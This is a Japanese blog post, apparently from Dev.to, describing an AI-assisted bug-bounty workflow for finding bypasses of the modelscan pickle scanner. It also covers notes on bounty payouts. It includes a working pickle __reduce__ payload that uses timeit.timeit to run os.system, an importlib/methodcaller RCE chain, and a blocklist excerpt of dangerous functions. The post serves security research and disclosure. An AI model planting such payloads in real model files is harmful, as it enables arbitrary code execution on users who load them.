AIで7万ドルのセキュリティ・バウンティ用パイプラインを構築した — 正確なワークフローはこうだ

Dev.to / 2026/4/9

💬 オピニオンDeveloper Stack & InfrastructureTools & Practical UsageModels & Research

要点

  • 著者は、オープンソースのMLリポジトリをスキャンし、ロード時に任意コードを実行し得るモデルファイル(pickle/PyTorch/TensorFlow)の脆弱性をAI支援で反復可能に特定するセキュリティ・バウンティ用パイプラインを説明している。
  • 彼らは、既存のモデル向けセキュリティスキャナがブロックリスト(denylist)に依存しており不十分だと主張し、modelscan v0.8.8の検出を回避する116種類の異なるバイパス手法を報告している。
  • ワークフローには、ブロックリストを抽出してスキャナの攻撃対象領域をマッピングし、さらに危険なプリミティブ(exec/eval/system/ファイルI/O)を含む、ブロックされていないPython標準ライブラリのモジュールを列挙する工程が含まれる。
  • 各ブロックされていないターゲットに対して、著者はカスタムの__reduce__ロジックを用いてプロファイリング(概念実証)のpickleペイロードを生成し、エクスプロイト可能性を実証する。
  • これらの結果は、確証済みの脆弱性を大量に生み出し得る、スケールに耐える体系的なアプローチとして位置づけられており、バウンティ金額は数万ドル規模の可能性がある。

先月、Claude Codeを使って、オープンソースのMLリポジトリを体系的にスキャンし、セキュリティ脆弱性を洗い出し始めました。33日後には、単一のプロジェクト内で113件の確定した脆弱性が見つかり、報奨金としては合計で62K〜158Kドル相当のパイプラインが成立しました。さらに、誰でも再現して使えるプロセスです。

以下が、まさにその仕組みです。

対象:MLモデルのセキュリティスキャナー

MLモデルファイル(pickle、PyTorch、TensorFlowのSavedModel)は、読み込み時に任意のコードを実行してしまう可能性があります。modelscanのようなツールは、実行される前に悪意あるペイロードを検知するために存在します。私が投げかけた問いは:これらのスキャナーは本当にどれほど優れているのか?

答え:十分ではありません。最新バージョン(0.8.8)に対して「No issues found!」を返しつつ通過する、116種類の個別の回避(bypass)手法を見つけました。

ワークフロー

ステップ1:攻撃対象領域をマッピングする

すべてのスキャナーは、ブロックリスト(既知の危険な関数の一覧)に基づいて動作します。脆弱性は、彼らがブロックしているものではなく、「見落としているもの」にあります。

# Extract the blocklist from modelscan source
BLOCKED = {
    "os.system", "subprocess.call", "builtins.exec",
    "builtins.eval", "shutil.rmtree", ...
}

# Python stdlib has 300+ modules
# The blocklist covers ~40 functions
# That leaves 260+ modules to explore

私は、すべての標準ライブラリ(stdlib)モジュールを列挙し、exec()eval()system()、またはファイル入出力の呼び出しを含むものが、ブロックリストに入っているかどうかをチェックするスクリプトを書きました。

ステップ2:概念実証(PoC)ペイロードを生成する

ブロックされていない各モジュールごとに、脆弱性を示すpickleペイロードを構築しました:

import pickle
import struct

class MaliciousPayload:
    """Generates pickle bytecode that calls unblocked functions"""

    def __reduce__(self):
        # timeit.timeit calls exec() on the first argument
        import timeit
        return (timeit.timeit, (
            "__import__('os').system('id')",  # arbitrary command
            "pass",  # setup
            None,    # timer
            1        # number of executions
        ))

# Save as .pkl — modelscan says "No issues found!"
with open("bypass.pkl", "wb") as f:
    pickle.dump(MaliciousPayload(), f)

重要な洞察:Pythonのtimeit.timeit()は内部で、渡した文字列に対してexec()を呼び出します。これはベンチマークツールなので、ブロックリスト上には載っていません。ですが、これは完全なRCE(リモートコード実行)のプリミティブです。

ステップ3:検証して分類する

すべての回避手法(bypass)について、最新のスキャナーのバージョンに対してテストし、深刻度で分類しました:

Severity Criteria Count
CRITICAL 完全なRCE — 任意コマンドの実行 18
HIGH ファイルの読み書き、SSRF、またはコードのロード 24
MEDIUM DoS、リソース枯渇、情報漏えい 31
LOW 影響が限定的、または連鎖(チェーン)が必要 43

18件の重大な(critical)RCEチェーンは致命的です。私のお気に入りは:importlib.import_module('os')operator.methodcaller('system', 'whoami')を組み合わせたものです。この単一のチェーンは、importlibが任意のモジュールを動的にロードできるため、ブロックリスト全体を一撃で突破します。

ステップ4:再現可能な証拠を作る

それぞれの脆弱性には、以下を含む公開HuggingFaceリポジトリを用意しました:

  • 悪意のあるモデルファイル
  • 回避手法を説明するREADME
  • 突破できたことを示すスキャン出力

113件のリポジトリ。すべて公開。すべてmodelscan 0.8.8で検証済み。

ステップ5:スケールして自動化されたスキャン

ここからが、Claude Codeのスキルが強力になります。各モジュールを手作業で精査する代わりに、私は次の機能を持つセキュリティスキャンのスキルを作りました:

  1. 危険な関数呼び出しのためにPythonのソースを解析する
  2. 既知のブロックリストと照合する
  3. PoCペイロードを自動生成する
  4. 対象スキャナーを実行して回避を検証する

API ConnectorスキルがHuggingFace APIの連携を担当します。リポジトリのアップロード、モデルカードの管理、113リポジトリに対するバッチ操作です。

私が報奨金市場について学んだこと

数学(計算)

  • 投下時間:33日間で約40時間
  • パイプライン価値:62K〜158Kドル(レポート単価か一括価格かによる)
  • 支払われた場合の時給:1,550〜3,950ドル/時
  • 現在の支払い:0ドル(提出受付中)

最後の1行が重要です。パイプライン ≠ 売上(収益)です。ボトルネックは脆弱性を見つけることではなく、提出とレビューのプロセスです。

実際に支払われるもの

13のプラットフォーム(Algora、HackerOne、Huntr、Expensify、GitHubのバウンティラベル)で、1,700件以上のバウンティ案件をスキャンした後、私が見つけたのは次の通りです:

よく支払われる(250〜3,000ドル/脆弱性):

  • ML/AIツールにおけるセキュリティ脆弱性(Huntr)
  • Expensifyのバグ(各250ドル。ただしUpworkアカウントが必要)
  • インフラ系のバウンティ(SigNozダッシュボード:各150〜250ドル)

支払わない(または小銭程度しか払わない):

  • Algora でのジェネリックなコード懸賞($100以上は乾ききっている)
  • FinMind 型の懸賞ファーム(1件の課題につき30件以上のボット投稿)
  • 「最初の良い課題」タグ付きの懸賞(数分で埋まるほど混雑)

意外な勝者:コンテンツ懸賞。 Thesys は、OpenUI フレームワークに関する技術記事1本につき$50〜$100を支払います。私は1回のセッションで4本の記事を投稿しました。上限は低いものの、確実に報酬がもらえ、競争もゼロです。

ツールスタック

同様のワークフローを作る人向けに、私が使っているものはこちらです:

  1. Claude Code — AIの頭脳です。ソースコードを読み、パターンを特定し、ペイロードを生成します
  2. Semgrep — 初期のトリアージ用の静的解析
  3. カスタムPythonスクリプト — ペイロード生成とスキャナ検証
  4. HuggingFace Hub API — リポジトリ作成とモデルアップロードを自動化
  5. Dashboard Builder skill — 懸賞で監視ダッシュボードの構築が必要な場合(SigNoz はダッシュボードのテンプレート1つにつき$150〜$250)

ブロックリストに根本的な問題がある理由

より深い学びは: Python pickle に対するブロックリスト型セキュリティは、根本的に壊れている ということです。

Python の標準ライブラリには 300 以上のモジュールがあります。その多くには、ユーティリティ関数の奥に埋もれる形で exec()eval()system() の呼び出しが含まれています。正当な利用を壊さずにそれらをすべてブロックリストにできるわけではありません。さらに仮にそうしたとしても、importlib.import_module() により任意のモジュールを動的に読み込めるため、ブロックリストという概念自体が無意味になります。

解決策は、もっと大きなブロックリストではありません。必要なのはサンドボックス化された非同期(deserialization)です。つまり pickle のロードを、たとえコード実行が成功しても脱出できない隔離環境で行うことです。これははるかに難しいエンジニアリング課題なので、多くのツールはいまだにブロックリストを使っています。

始める

AIでセキュリティ懸賞ハントを試したいなら:

  1. 狭いターゲットを選ぶ。 全てをスキャンしない。1つのツール、1つの脆弱性クラスを選び、深く掘り下げる。
  2. ソースを読む。 ブロックリスト、許可リスト(allowlist)、パーサーにはすべてエッジケースがある。それを見つける。
  3. 検証を自動化する。 最新バージョンに対してテストされていないバイパスはバイパスではない。
  4. 徹底的にドキュメント化する。 懸賞レビュー担当者は「動くと信じてください」ではなく、再現可能な手順を必要とする。
  5. まずはコンテンツ懸賞から始める。 リスクが低く、報酬が確実で、プロセスを学びながら実績(評判)を積み上げられる。

ツールは存在します。脆弱性は存在します。懸賞は存在します。ボトルネックは、やるべき作業を実行することだけです。

ここで説明するセキュリティスキャンのワークフローでは、自動化された脆弱性検出に Claude Code skills を使用します。懸賞プラットフォームとのAPI連携を構築するには、API Connector skill をご覧ください。ダッシュボードの懸賞については、Dashboard Builder skill がメトリクス仕様から SigNoz/Grafana のテンプレートを生成します。